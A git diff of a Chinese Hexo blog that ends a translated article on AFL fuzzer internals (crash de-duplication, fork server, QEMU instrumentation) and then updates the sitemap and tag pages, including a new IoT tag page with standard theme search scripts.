SQL,XML。一些生成SQL语句的例子已经在之前提到的博客中给出了。有趣的是，AFL的插桩也允许fuzzer自动地隔离(isolate)已经在输入文件中出现过的句法(syntax)符号(tokens)。 8) 崩溃去重（De-duping crashes）崩溃去重是fuzzing工具里很重要的问题之一。很多naive的解决方式都会有这样的问题：如果这个错误发生在一个普通的库函数中(如say, strcmp, strcpy)，只关注出错地址(faulting address)的话，那么可能导致一些完全不相关的问题被分在一类(clustered together)。如果错误发生在一些不同的、可能递归的代码路径中，那么校验和(checksumming)调用栈回溯(call stack backtraces)时可能导致crash count inflation(通胀)。 afl-fuzz的解决方案认为满足一下两个条件，那么这个crash就是唯一的(unique)：12- The crash trace includes a tuple not seen in any of the previous crashes,这个crash的路径包括一个之前crash从未见到过的tuple。- The crash trace is missing a tuple that was always present in earlier faults.这个crash的路径不包含一个总在之前crash中出现的tuple。 这种方式一开始容易受到count inflation的影响，但实验表明其有很强的自我限制效果。和执行路径分析一样，这种 崩溃去重 的方式是afl-fuzz的基石(cornerstone)。 9) 崩溃调查(Investigating crashes)不同的crash的可用性(exploitability)是不同的。afl-fuzz提供一个crash的探索模式(exploration mode)来解决这个问题。对一个已知的出错测试用例，它被fuzz的方式和正常fuzz的操作没什么不同，但是有一个限制能让任何non-crashing 的变异(mutations)会被丢弃(thrown away)。这种方法的意义在以下链接中会进一步讨论：afl-fuzz-crash-exploration-mode这种方法利用instrumentation的反馈，探索crash程序的状态，从而进一步通过歧义性的失败条件，找到了最新发现的input。对于crashes来说，值得注意的是和正常的队列条目对比，导致crash的input没有被去掉，为了和它们的父条目（队列中没有导致crash的条目）对比，它们被保存下来，这就是说afl-tmin可以被用来随意缩减它们。 10) The fork server为了提升性能，afl-fuzz使用了一个”fork server”，fuzz的进程只进行一次execve(), 连接(linking), 库初始化(libc initialization)。fuzz进程通过copy-on-write(写时拷贝技术)从已停止的fuzz进程中clone下来。实现细节在以下链接中：fuzzing-binaries-without-execvefork server被集成在了instrumentation的程序下，在第一个instrument函数执行时，fork server就停止并等待afl-fuzz的命令。对于需要快速发包的测试，fork server可以提升1.5到2倍的性能。 11) 并行机制实现并行的机制是，定期检查不同cpu core或不同机器产生的队列，然后有选择性的把队列中的条目放到test cases中。详见： parallel_fuzzing.txt. 12）二进制instrumentationAFL-Fuzz对二进制黑盒目标程序的instrumentation是通过QEMU的“user emulation”模式实现的。这样我们就可以允许跨架构的运行，比如ARM binaries运行在X86的架构上。QEMU使用basic blocks作为翻译单元，利用QEMU做instrumentation，再使用一个和编译期instrumentation类似的guided fuzz的模型。1234567if (block_address &gt; elf_text_start &amp;&amp; block_address &lt; elf_text_end) &#123; cur_location = (block_address &gt;&gt; 4) ^ (block_address &lt;&lt; 8); shared_mem[cur_location ^ prev_location]++; prev_location = cur_location &gt;&gt; 1;&#125; 像QEMU, DynamoRIO, and PIN这样的二进制翻译器，启动是很慢的。QEMU mode同样使用了一个fork server，和编译期一样，通过把一个已经初始化好的进程镜像，直接拷贝到新的进程中。当然第一次翻译一个新的basic block还是有必要的延迟，为了解决这个问题AFL fork server在emulator和父进程之间提供了一个频道。这个频道用来通知父进程新添加的blocks的地址，之后吧这些blocks放到一个缓存中，以便直接复制到将来的子进程中。这样优化之后，QEMU模式对目标程序造成2-5倍的减速，相比之下，PIN造成100倍以上的减速。 13）afl-analyze工具文件格式分析器是最小化算法的简单扩展前面讨论过; 该工具执行一系列步行字节翻转，然后在输入文件中注释字节运行，而不是尝试删除无操作块。]]></content>
       <categories>
         <category>二进制</category>
       </categories>
diff --git a/sitemap.xml b/sitemap.xml
index bd544f22..262831ae 100644
--- a/sitemap.xml
+++ b/sitemap.xml
@@ -1,10 +1,24 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
   
+  <url>
+    <loc>https://cool-y.github.io/2019/07/24/%E8%8E%B7%E5%8F%96%E5%9B%BA%E4%BB%B6/</loc>
+    
+    <lastmod>2019-07-24T03:50:46.543Z</lastmod>
+    
+  </url>
+  
+  <url>
+    <loc>https://cool-y.github.io/2019/07/24/web-dvwa/</loc>
+    
+    <lastmod>2019-07-24T03:48:23.821Z</lastmod>
+    
+  </url>
+  
   <url>
     <loc>https://cool-y.github.io/2019/07/16/linux-pwn-32/</loc>
     
-    <lastmod>2019-07-16T09:14:29.618Z</lastmod>
+    <lastmod>2019-07-16T09:16:44.729Z</lastmod>
     
   </url>
   
@@ -86,14 +100,14 @@
   </url>
   
   <url>
-    <loc>https://cool-y.github.io/googleacf4df440b4becc4.html</loc>
+    <loc>https://cool-y.github.io/categories/index.html</loc>
     
     <lastmod>2019-04-15T07:35:38.085Z</lastmod>
     
   </url>
   
   <url>
-    <loc>https://cool-y.github.io/categories/index.html</loc>
+    <loc>https://cool-y.github.io/googleacf4df440b4becc4.html</loc>
     
     <lastmod>2019-04-15T07:35:38.085Z</lastmod>
     
@@ -106,13 +120,6 @@
     
   </url>
   
-  <url>
-    <loc>https://cool-y.github.io/2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/</loc>
-    
-    <lastmod>2019-04-15T07:35:38.083Z</lastmod>
-    
-  </url>
-  
   <url>
     <loc>https://cool-y.github.io/about/index.html</loc>
     
@@ -128,14 +135,21 @@
   </url>
   
   <url>
-    <loc>https://cool-y.github.io/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/</loc>
+    <loc>https://cool-y.github.io/2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/</loc>
+    
+    <lastmod>2019-04-15T07:35:38.083Z</lastmod>
+    
+  </url>
+  
+  <url>
+    <loc>https://cool-y.github.io/2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</loc>
     
     <lastmod>2019-04-15T07:35:38.082Z</lastmod>
     
   </url>
   
   <url>
-    <loc>https://cool-y.github.io/2019/01/16/wifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</loc>
+    <loc>https://cool-y.github.io/2019/02/22/qq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86/</loc>
     
     <lastmod>2019-04-15T07:35:38.082Z</lastmod>
     
diff --git a/tags/AFL/index.html b/tags/AFL/index.html
index ba9def1e..3a591a4e 100644
--- a/tags/AFL/index.html
+++ b/tags/AFL/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/AFL/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -393,7 +396,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -403,7 +406,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -414,7 +417,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -425,7 +428,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -496,7 +499,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/CVE/index.html b/tags/CVE/index.html
index d8cf9e46..1f5ccc06 100644
--- a/tags/CVE/index.html
+++ b/tags/CVE/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/CVE/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/IoT/index.html b/tags/IoT/index.html
new file mode 100644
index 00000000..274fbaa6
--- /dev/null
+++ b/tags/IoT/index.html
@@ -0,0 +1,1128 @@
+<!DOCTYPE html>
+
+
+
+  
+
+
+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
+
+
+
+
+
+
+
+
+
+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
+
+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
+
+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
+
+
+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
+
+
+
+  <meta name="keywords" content="Hexo, NexT">
+
+
+
+
+
+
+
+
+
+
+<meta name="description" content="没人比我更懂中医#MAGA">
+<meta property="og:type" content="website">
+<meta property="og:title" content="混元霹雳手">
+<meta property="og:url" content="https://cool-y.github.io/tags/IoT/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
+<meta property="og:locale" content="zh-Hans">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
+  var NexT = window.NexT || {};
+  var CONFIG = {
+    root: '/',
+    scheme: 'Gemini',
+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
+    },
+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
+    }
+  };
+</script>
+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/tags/IoT/">
+
+
+
+
+
+  <title>标签: IoT | 混元霹雳手</title>
+  
+
+
+
+
+
+
+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left ">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
+    
+
+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
+        <span class="logo-line-before"><i></i></span>
+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
+      </a>
+    </div>
+      
+        <p class="site-subtitle"></p>
+      
+  </div>
+
+  <div class="site-nav-toggle">
+    <button>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+    </button>
+  </div>
+</div>
+
+<nav class="site-nav">
+  
+
+  
+    <ul id="menu" class="menu">
+      
+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
+            
+            归档
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-bookmarks">
+          <a href="/bookmarks/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
+          </a>
+        </li>
+      
+
+      
+        <li class="menu-item menu-item-search">
+          
+            <a href="javascript:;" class="popup-trigger">
+          
+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
+          </a>
+        </li>
+      
+    </ul>
+  
+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
+    </div>
+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
+
+    </div>
+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
+
+  
+  
+  
+  <div class="post-block tag">
+
+    <div id="posts" class="posts-collapse">
+      <div class="collection-title">
+        <h1>IoT<small>标签</small>
+        </h1>
+      </div>
+
+      
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/获取固件/" itemprop="url">
+              
+                <span itemprop="name">获取固件的几种方法</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:49:28+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+      
+    </div>
+
+  </div>
+  
+  
+  
+
+  
+
+
+          </div>
+          
+
+
+          
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+
+      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">21</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">9</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">43</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">64.5k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
+
+
+
+
+
+
+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
+
+
+
+
+
+
+
+
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
+
+
+  
+  
+
+
+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
+
+
+  
+
+  
+
+
+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  
+
+
+
+
+	
+
+
+
+
+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
+        <script src="https://jjeejj.github.io/js/gitment.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
